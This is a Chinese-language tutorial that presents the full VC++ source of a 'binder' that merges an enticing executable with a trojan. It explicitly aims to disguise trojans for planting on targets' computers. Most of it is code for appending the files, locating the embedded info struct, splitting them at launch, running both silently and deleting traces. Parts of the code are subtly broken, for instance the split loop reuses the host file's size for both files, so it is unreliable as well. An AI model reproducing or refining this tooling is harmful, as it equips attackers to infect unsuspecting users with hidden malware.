捆绑机:细节与秘密


◎文/苗得雨

(原创文章,转载请注明出处) 

引子:

Who told thee that thou wast naked? Hast thou eaten of the tree, whereof I commanded thee that thou shouldest not eat? –《圣经》创世纪3:11

计算机……可以用来实施几乎任何形式的犯罪,可以让你无所不能,从虚拟中获得你在现实中想得到的一切,也可以将一个人剥夺的一无所有,从肉体到灵魂,而这一切皆因我们感知到了它带给我们诱惑与善恶……

  

如今在黑客的游戏中,如何将木马植入到你的目标计算机中,是所有黑客需要面对的最高挑战,每一个黑客都希望将木马伪装技术发挥到极致。捆绑机,又名合并器,就是与木马几乎同时诞生的一对孪生兄弟,最优秀的捆绑机能够将最诱惑人的程序同最阴毒的木马完美的捆绑在一起。捆绑完成的新程序,不仅仅与最初捆绑的宿主一样,而且你可以通过修改装饰将它变得更具有诱惑力,如同那个赠给白雪公主的毒苹果,充满了诱惑与死亡。

网络上很多优秀的捆绑机都明码标价,而用VB、易语言等傻瓜语言编写出来的捆绑机在捆绑文件后体积往往会突增很多,失去了完美伪装的效果。因此一个捆绑机如何以完美的手法和思路合并分解文件是能否体现伪装技术的关键。今天我们就在这里向大家展示详细展示一款用VC编写的优秀商业捆绑机的全部细节与秘密。

 

合并的细节与秘密

 

为了让大家更好的理解捆绑机所有的关键技术细节,我们选择了引导型的程序界面,这个界面也非常类似大名鼎鼎的蔬菜捆绑机,但我们丰富了更多优秀的功能。现在让我们打开VC6.0画出第一个程序界面吧。

 

这个界面是宿主文件的选择界面,这一页关键程序代码如下:

 

void Prop1::OnBthost()

{

    // TODO: Add your control notification handler code here

    CFileDialog fileDialog(TRUE,"*.exe",NULL,NULL,"可执行文件(*.exe)|*.exe||");

    if(fileDialog.DoModal()==IDOK)

    {

      strcpy(mybind_infomation.CFileNameHost,fileDialog.GetPathName());

      m_strHostName=mybind_infomation.CFileNameHost;

      UpdateData(FALSE);

    }

}

 

这段代码的主要用CFileDialog类来实例化一个fileDialog对象,用CFileDialog类的成员函数“GetPathName”来得到第一个文件也就是宿主文件的路径,然后保存在我们指定的mybind_infomation.CFileNameHost结构体中。mybind_infomation.CFileNameHost在这个捆绑机程序中非常关键,在捆绑程序执行过程中,它不仅仅用来保存第一个宿主文件的名称,还承担着储存文件大小、合并后大小、图标路径等关键信息。最重要的是看它是怎么去实现自身文件的定位的。

 

typedef struct MY_INFO

    {

    TCHAR CFileNameHost[100];     //第一个文件的名字

    TCHAR CFileNameClient[100];    //第二个文件的名字

    TCHAR CFileNameDes[100];      //捆绑合并后文件的名字

    int select;                       //判断获取图标的方式

    CString strICon;                 //图标的路径

    int nHostFileSize;                //第一个文件的大小

    int nClientFileSize;               //第二个文件的大小

    int nFileBindSize;                //捆绑合并后文件的大小

    int nMyselfSize;                 //宿主文件的大小

    int IsDelete;                     //是否删除分解生成的文件

    }MYBINDINFO;

MYBINDINFO mybind_infomation

 

接下来我们继续绘制捆绑机的第二与第三个交互界面:

 

 

 

 

在这两个页面中,下面的代码实现将信息保存在结构体中:

m_strBindName=mybind_infomation.CFileNameClient;

strcpy(mybind_infomation.CFileNameDes,fileDialog.GetPathName());

 

 

 

这是程序的最后两个页面,点击完成后,程序就会自动完成捆绑的全部动作。

BOOL Prop4::OnWizardFinish()

{

       // TODO: Add your specialized code here and/or call the base class

       UpdateData(TRUE);

    mybind_infomation.IsDelete=m_IsDelete;

       if(TRUE==Bind_file())

       {

         MessageBox("恭喜你,捆绑文件成功","友情提示",MB_OK);

       }

       return CPropertyPage::OnWizardFinish();

}

 

由于我们采用的是指引型的页面操作方式,因此程序最后捆绑的核心代码全部都集中在了最后的部分。完成捆绑的核心函数Bind_file的实现如下:

::GetModuleFileName(0,my_name,sizeof(my_name));   //获取宿主的文件名

_stat(my_name, &ST);                              //获取宿主文件的大小

mybind_infomation.nMyselfSize=ST.st_size;         //保存宿主文件大小

_stat( mybind_infomation.CFileNameHost,&ST);

mybind_infomation.nHostFileSize=ST.st_size;       //保存第一个文件的大小

_stat( mybind_infomation.CFileNameClient,&ST);

mybind_infomation.nClientFileSize=ST.st_size;     //保存第二个文件的大小

CString tempFile="temp.exe";                      //临时的文件

out = fopen(tempFile, "wb");                      //创建最终合成文件

     if (out == NULL)

     {free(buf);

          MessageBox("绑定文件中,创建绑定后生成的合成文件时出错!","错误");

 return false;

     }

 

这一步完成之后,接下来我们需要将宿主文件和要捆绑的木马写入这个临时的文件。当然更重要的是,将这个结构体保存在临时文件的结尾处。原因很简单,因为我们已经所有的关于合并是信息保存在这个结构体中了,已经为后来的文件的分离打下了良好的基础,我们已经把自身文件的大小保存在了这个结构体中,因此将自身文件的定位的问题此时我们已经成功的解决了,看过网上关于自身定位的实现,那是通过定义了一个结构体:

 

struct MODIFY_DATA {

     unsigned int finder; // 常量(定位自身)

     _off_t my_length;      //文件长度(自身)

} modify_data = {0x12345678, 0};

 

请注意这里,通过这段代码我们让文件合并的时候来定位自身文件:

 

for (i = 0; i < modify_data.my_length - sizeof(finder); i += sizeof(finder))

     {for (k = 0; k < sizeof(finder); k++)

          { if (buf[i+k] != ((BYTE*)&finder)[k])

                    break;}

          if (k == sizeof(finder))   //定位并保存自身数据文件大小

          {memcpy(buf+ i, &modify_data, sizeof(modify_data));

              break;}

     }

 

我们来分析这段代码,忘了说明finder已经定义了,定义如下:

unsigned int finder=0x12345678;

很明显通过循环整个文件来查找自身的特征字符 finder,然后将已经保存了的含有自身文件大小的结构COPY到相应的内存块,实现了自身文件的定位,在其分解时表现的很明显,

还有第1,2个文件的大小,以及文件分解的方式等也全都零散的写入了生成的文件,不得不承认实现的思路很是巧妙,但是感觉有点乱,干脆直接把所有的信息作为一个整体直接读入,分解时直接定位到文件的最后,直接将这个结构体读出来,岂不更简单了一些。代码如下:

 

fwrite(& mybind_infomation,1,sizeof( mybind_infomation),out);

 

最后删除临时文件,复制到目标文件:

 

CopyFile(tempFile, mybind_infomation.CFileNameDes,0);//复制文件

 DeleteFile(tempFile);//删除临时文件

 

好了到这里我们的文件的合并已经完成了,有了上边保存的结构体,分解岂不迎刃而解。

下面就到了文件的分解了

 

小知识:由于文件多次用到了_stat函数,所以应该在用了此函数的地方包含状态头文件#include "sys/stat.h"

文件的分解

运行程序时弹出的对话框,可能会以为本程序的实现是基于对话框,其实不然,此款捆绑机是基于单文档的,只要在MainFanme 的OnCreate函数中做手脚即可,当OnCreate结束后加入Exit(),当然在函数退出前我们想做的事情已经实现了,文件已经捆绑完毕了。

来让我们看看到底在OnCreate中做了什么?代码如下:

MYBINDINFO mybindinfo;//用来存放分解出来的结构体

    ::GetModuleFileName(0,my_name,sizeof(my_name));//获取自身文件名

     _stat(my_name,&ST);//获取自身文件的大小

   if(ST.st_size>144*1024)

   {

       DWORD offset;

       offset=ST.st_size-sizeof(MYBINDINFO);

       FILE* myself;

       if(NULL==(myself=fopen(my_name,"rb")))

           MessageBox("不能打开自身的文件!","错误提示",MB_OK);

       fseek(myself,offset,SEEK_SET);

       fread(&mybindinfo,1,sizeof(MYBINDINFO),myself);

         fclose(myself);

 

       Unbind_Run(mybindinfo);

       exit(0);

   }

这只是OnCreate函数一部分代码,相信细心的读者已经看到了一个数字144,你可能也已经想到了,没错正是文件自身的大小,通过来比较自身数据来判断是合并文件还是分解文件,相信你已经猜出了另一段代码了,看看你想的对不对?代码如下:

CProPerty PropertySheet("对话框向导");PropertySheet.SetWizardMode();

PropertySheet.DoModal();

 exit(0);

 

其实没有别的就是通过了向导框的形式实现了文件的合并,合并后程序正常结束,来进入我们的正题:文件的分解。

来看看分解文件的核心函数Unbind_Run(mybindinfo)

 

    CString strTmp1Exe=myinfo.CFileNameHost;//第一个分解的文件

    CString strTmp2Exe=myinfo.CFileNameClient;//第二个分解的文件

    int nIndex = 1;

    buf = (BYTE*)malloc(myinfo.nMyselfSize);

    myself = fopen(my_name, "rb");  //打开最终合成的文件

    nFileStepbytes = nFileStepbytes + myinfo.nMyselfSize;

    struct _stat ST;

    _stat(my_name, &ST);

    for(int n=1;n<3;n++)

    {

totalbytes = 0;    

        if(n==1)

           out = fopen(strTmp1Exe, "wb");   //创建第1个绑定的文件

        if(n==2)

            out = fopen(strTmp2Exe, "wb");   //创建第2个绑定的文件

        if (out == NULL)

        {

free(buf);

            MessageBox("分离文件中,创建第一个被绑定文件时出错!","错误");

            return;

        }

        //将文件指针定位到捆绑器程序长度尾部

        fseek(myself, nFileStepbytes, SEEK_SET);

        //读取第一个文件内容并写入

        while (bytesin = fread(buf, 1, sizeof(buf), myself))

        {

            if (totalbytes + bytesin >myinfo.nHostFileSize)

                bytesin =myinfo.nHostFileSize - totalbytes;

            totalbytes += fwrite(buf, 1, bytesin, out);

        }

        fclose(out);  //关闭第一个绑定文件句柄

        if (totalbytes == 0)

        {

free(buf);

            MessageBox("分离文件中,在自身文件中没有被分离的对象!","错误");

            return;

        }

        nFileStepbytes = nFileStepbytes +myinfo.nHostFileSize;

        nIndex++;

    }

fclose(myself); //关闭最终合成文件句柄

free(buf); //释放缓冲区

  DoCreateProcess(myinfo.CFileNameHost,myinfo.IsDelete);//创建子进程

  DoCreateProcess(myinfo.CFileNameClient,myinfo.IsDelete);//创建子进程

}

 

  

通过feek函数定位到文件的末尾来得到保存在捆绑后文件里的信息,并且存储在MYBINDINFO mybindinfo中,并且用引用的方式传递给了Unbind_Run函数,接着利用此结构的原有信息来实现文件的分解,很容易就能定位到第一的文件的开始:

nFileStepbytes = nFileStepbytes + myinfo.nMyselfSize;

fseek(myself, nFileStepbytes, SEEK_SET);

当然nFileStepbytes已经初始化为0了,只是没有写出而已,好了到了这里基本的问题已经快解决的差不多了,就剩下进程的创建了,利用CreateProcess很容易就能实现了,但必须得考虑到是否删除分解出的文件,当不删除的时候不用多说创建完他的进程后就不用管它了,可执行文件已经存在了,但是在删除分解的文件的情况下就得考虑什么时候删除了,不可能刚去创建了进程就要把它删除,这不是卸磨杀驴吗?计算机也是不允许的,就得等到进程结束后才去删除,就得用到WaitForSingleObject函数,函数原型如下:

 

DWORD WaitForSingleObject(

  HANDLE hHandle,

  DWORD dwMilliseconds

);

 

第一个参数进程的句柄通过CreateProcess的PROCESS_INFORMATION PI就可以得到,HANDLE hHandle=PI.hProcess得到,第二个参数指等待的时间,一般是INFINITE,不限定时间的等下去,如果是NULL就立即返回。

好了,这款捆绑器的合并与分离到此也就结束了。